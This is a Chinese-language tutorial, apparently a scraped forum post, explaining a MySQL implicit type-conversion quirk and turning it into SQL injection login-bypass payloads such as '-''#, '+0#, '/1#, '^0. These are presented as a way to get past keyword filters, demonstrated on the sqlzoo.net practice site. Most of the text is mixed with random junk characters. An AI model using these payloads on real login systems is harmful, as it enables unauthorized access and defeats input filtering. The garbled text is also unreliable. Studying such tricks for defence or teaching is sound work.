我们先来看这样一个场景。
/ |$ h- J- S. p3 {2 C2 y有以下表结构:
9 }9 m4 f! C% `. Q2 q- q$ H; T# H" k( l( S( v, E% K$ e, i
mysql> desc admin;
* V$ d# L# v$ l% a$ T+----------+--------------+------+-----+---------+----------------+7 h# Z9 m) A9 w, P5 a3 B, X. A- T
| Field | Type | Null | Key | Default | Extra |
& O6 {0 O$ N& X3 h' p+ g# U) u+----------+--------------+------+-----+---------+----------------+( X5 j( y: q: u. y) i5 W7 U3 f
| id | mediumint(9) | NO | PRI | NULL | auto_increment |, F$ s& p* M% s' C+ `- @
| name | char(32) | NO | UNI | NULL | |+ B" }; _" z) ?* A- T+ D
| password | char(32) | NO | UNI | NULL | |2 Y, z) s, _( g( @( D1 |$ y& r+ C8 |
+----------+--------------+------+-----+---------+----------------+
( K) ^& Y% \/ T& w- h3 rows in set (0.00 sec)
. e4 h! T* S# o7 b' R. |执行select * from admin;,成功返回所有记录内容。
5 r# A' c& B: Y& H& f
: S( q! s: l0 u+ I1 T; O
0 T I% \7 ?$ h$ c4 z+----+--------+----------------------------------+
M$ W) I/ \ A, h8 @$ v8 Z7 I| id | name | password |7 D) n& M6 l( J3 C/ o4 e8 C$ F
+----+--------+----------------------------------+
* U/ x3 Q/ o! l, ~ U| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |, R6 Z4 I- g" @/ @" G8 B/ E# `
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |5 \1 \! j, b) E7 J9 g8 i8 v0 D& i
| 4 | n00b | ff80e8508d39047460921792273533a4 |4 ]! w! b" _" E0 o6 [
+----+--------+----------------------------------+
; h5 J: j& e$ {/ F+ x7 P3 rows in set (0.00 sec)
" ?8 [% U* ]# Y2 Y. j& }执行select * from admin where name=”;,没有匹配到任何记录。 # g9 \" p$ t4 [* F8 f* f
+ n" N3 a( x! p K, P1 I' w
mysql> select * from admin where name = '';
) s( |7 C: ]6 N H. l7 R4 r* H9 OEmpty set (0.00 sec)) O$ v" S2 \7 P1 v# u/ G
那么我们来执行select * from admin where name = ”-”;
, q W$ @+ L! D* G- t# Q. _& z* B# z" ^, l: Q2 C
1 }$ o( t' x) d6 S& S; p+----+--------+----------------------------------+% i9 F3 {- z) J3 p6 d
| id | name | password |
0 |6 W5 L/ ~& S; b: U+----+--------+----------------------------------+
, i* f u; O6 M% ?2 u% q| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
: y# H t) \$ d& O9 x7 T9 M$ F, T' ]| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
V9 w+ r$ F+ i) V! L| 4 | n00b | ff80e8508d39047460921792273533a4 |& ~! {( W. e* f2 }( h$ E/ |4 i: T0 t0 Z
+----+--------+----------------------------------+1 c& ?2 `( y; B5 z2 E
3 rows in set, 3 warnings (0.00 sec)& [% B' e# `# D. d/ _7 s
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
# R" T" P' C) l' R
$ c. \# ?6 r" w4 gmysql> show warnings;% W: y% g8 u4 |/ A3 c
+---------+------+------------------------------------------( r) ^4 y% p& `2 X& f
| Level | Code | Message
3 K) ~5 u1 x3 i( x) @+---------+------+------------------------------------------
! j( P7 i6 f J0 F& Q* v| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
' b! o: a1 s$ L( w- L- I| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
8 N6 L0 F9 R* L9 V- d+ ], j3 n| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b6 q5 m& V& I! i7 r
+---------+------+------------------------------------------ p7 X, e ~& }+ l9 l
3 rows in set (0.00 sec)
: \$ P8 d2 e7 h4 F, A0 G提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
2 l% ?+ }9 s( z7 o$ G/ ` D6 B3 p8 J E: I# ]/ v* l$ k. L
mysql> select ''-'';( O+ S3 n2 V8 l
+-------+
t( X. P; ~9 ]5 q: n| ''-'' |! T" ]- ?; B2 G" q
+-------+. X5 q" I @- h8 f% n/ q% {
| 0 |! H, V6 w: M% {, {1 A+ B7 D# I
+-------+
* t) d1 h+ ^$ L1 row in set (0.00 sec)+ _! c9 G9 ` |3 ]
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
- \4 ~& v/ H4 U2 ]% k
6 y# \3 O Z& R) {8 z8 F: Bmysql> select CAST((select name from admin limit 1,1) as DECIMAL);
+ p2 k) u/ a7 j& C X2 y+-----------------------------------------------------++ N- M/ ?2 @- C4 H$ f
| CAST((select name from admin limit 1,1) as DECIMAL) |
! @) @+ M1 M1 p" N) ~. }+-----------------------------------------------------+
; u* j' @' }+ L5 W' d| 0 |8 v1 z( |: f5 Y9 [; q
+-----------------------------------------------------+) _% j5 S; K6 r% B/ ^9 `. |/ h0 Q2 S {- u
1 row in set, 1 warning (0.00 sec)
+ X& I7 s* j7 G* p3 h3 n/ P因此where语句构成了相等的条件,where 0=”=”,记录被返回。
4 ^$ u/ O5 u! V) b0 U2 F- i2 z i ^& T+ [0 e9 `
SQL注入场景: http://www.sqlzoo.net/hack/ 7 |# ?: d! {6 f4 ~4 q" ~0 s
8 L/ E$ K& @' [. N2 S+ g
7 ]3 }* Y6 E% H8 V+ V0 b" B0 E" u. n
! N% G. _/ s+ x1 e' i: M( ^
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
9 e5 G0 a% m# f* S% ~6 S5 e# z. u6 n; S5 C5 J S
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
8 N0 y! l @% y! p4 J5 T3 D& D
5 |2 P9 H6 W& h8 G) v# r- k# A2 q6 w" r8 V: d# p. u0 g
0 Z/ ^) ]% R( p5 L( ~. _7 R: W r
+ X" g$ h" J& {: r: Q2 @仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
. u3 `( p! t, n+ T7 Z
; ^: m! k, z8 q7 }& }2 L" v: P 2 _, e+ q( t/ O3 U- n
( X) v" V0 N' t8 w3 P& b
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可+ V+ `& l6 U. R- ]2 V) R7 _8 l' G
9 T5 k4 Z2 b) D- U# w% y- x
1 k8 n- P9 h1 `1 L: c
mysql> select ''/1;
" Y/ L+ v2 V% }6 ]& P4 ~+------+; [" S, S ~- A
| ''/1 |/ A+ \/ t4 H" o* }) } m/ v. ~
+------+
$ Z' X# [3 r, f# j; e7 E| 0 |1 K7 f. B! N, h+ d! w0 [( G5 t
+------+" E% @7 Z. b) D/ y: l
1 row in set (0.00 sec)9 {5 v" C4 q' f
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。
. i. A# w2 G3 h% E. B" f/ w) L$ I6 O( _8 D" E
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
' q, E: w# m. g2 d2 H) }4 B( J# W |
|